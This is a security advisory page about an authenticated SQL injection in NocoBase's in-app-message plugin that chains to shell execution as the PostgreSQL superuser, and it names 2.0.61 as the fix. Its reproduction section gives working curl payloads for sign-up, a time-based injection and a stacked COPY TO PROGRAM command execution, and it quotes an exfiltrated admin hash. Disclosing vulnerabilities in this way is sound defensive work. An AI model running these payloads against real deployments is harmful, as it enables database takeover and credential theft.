Crítica

NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE

  • Publicada: 31.07.2026
  • Actualizado: 11.10.2026 10:22

Summary

GET /api/myInAppChannels:list accepts a structured filter query parameter. The handler for the latestMsgReceiveTimestamp field splices the $lt value directly into a Sequelize.literal() template string with no escape, type cast, or parameter binding. The action ACL is loggedIn, so any authenticated account reaches it. The default auth-basic authenticator ships allowSignUp: true, so the account is obtainable anonymously.

The injection is reachable with the URL parameter filter[latestMsgReceiveTimestamp][$lt]=<expression>. The pg driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.

The shipped docker-compose.yml creates the DB role nocobase on a stock postgres:16 image, which assigns the rolsuper attribute by default. COPY ... TO PROGRAM '...' therefore runs shell commands as uid=999(postgres) inside the database container.

Result: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.

Affected

NocoBase server, @nocobase/plugin-notification-in-app-message <=2.0.57. Confirmed live-exploitable on the official nocobase/nocobase:2.0.57 Docker image (HEAD e35a2737d9df139cacecae0151c3326746e2339a).

@nocobase/plugin-notification-in-app-message is enabled by default in @nocobase/preset-nocobase. The default auth-basic ships allowSignUp: true. The shipped docker/app-postgres/docker-compose.yml uses POSTGRES_USER=nocobase against postgres:16, which makes the role a PostgreSQL superuser; COPY ... TO PROGRAM runs from this role.

Root cause

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63: the latestMsgReceiveTimestamp filter is built as Sequelize.literal(\${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`). The $ltvalue comes straight from the GETfilterJSON; the template uses${...}interpolation with noescape(), replacements`, or type cast.

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200: app.acl.allow('myInAppChannels', '*', 'loggedIn') exposes every action on the resource to every authenticated role, including the seeded member.

packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295: allowSignUp: true ships in the default auth-basic seed; POST /api/auth:signUp returns 200 with no admin involvement.

docker/app-postgres/docker-compose.yml:30: POSTGRES_USER: nocobase against postgres:16. The bare postgres:16 image creates the named role with rolsuper=true (live-verified: SELECT rolsuper FROM pg_roles WHERE rolname='nocobase' returns true). The pg driver simple-query accepts stacked statements.

Reproduction

Tested against nocobase/nocobase:2.0.57 from the official Docker image with the default app-postgres compose. Attacker is an anonymously-signed-up member.

  1. Anonymous sign-up, then sign-in for a member JWT.
bash
curl -X POST -H 'Content-Type: application/json' \
  -d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \
  http://target:13000/api/auth:signUp?authenticator=basic
TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
  -d '{"account":"a","password":"P!ssw0rd1"}' \
  http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)
  1. Time-based oracle confirms injection. Each request below takes ~5 seconds.
bash
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
  "http://target:13000/api/myInAppChannels:list" \
  --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a"
  1. Stacked-statement COPY ... TO PROGRAM runs shell as uid=999(postgres) inside the database container.
bash
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
  "http://target:13000/api/myInAppChannels:list" \
  --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --"
docker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt
# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

Live-verified: sqlmap 1.10.3 against this endpoint reports Type: boolean-based blind (payload 0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH), Type: time-based blind, current user: nocobase, current user is DBA: True. Admin password hash ef6ea7f6...8ea12 exfiltrated via COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'. Reproduced 2026-05-26 against HEAD e35a2737.

Impact

  • Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (pg driver simple-query).
  • Arbitrary row read of any collection, including users.password PBKDF2 hashes for the super-admin account.
  • Shell command execution as uid=999(postgres) inside the PostgreSQL container via COPY ... TO PROGRAM.
  • Anonymous reach in default deployments because auth-basic ships allowSignUp: true.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @nocobase/plugin-notification-in-app-message < 2.0.61 2.0.61

Referencias

Puntuación CVSS 10/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Debilidad (CWE)
CWE-89
Plataforma
npm
Paquete
@nocobase/plugin-notification-in-app-message
Publicada
31.07.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-p849-8hwh-84j9 - CC BY 4.0

Historial de vulnerabilidades: @nocobase/plugin-notification-in-app-message

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Esta es la única vulnerabilidad conocida de este paquete.

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.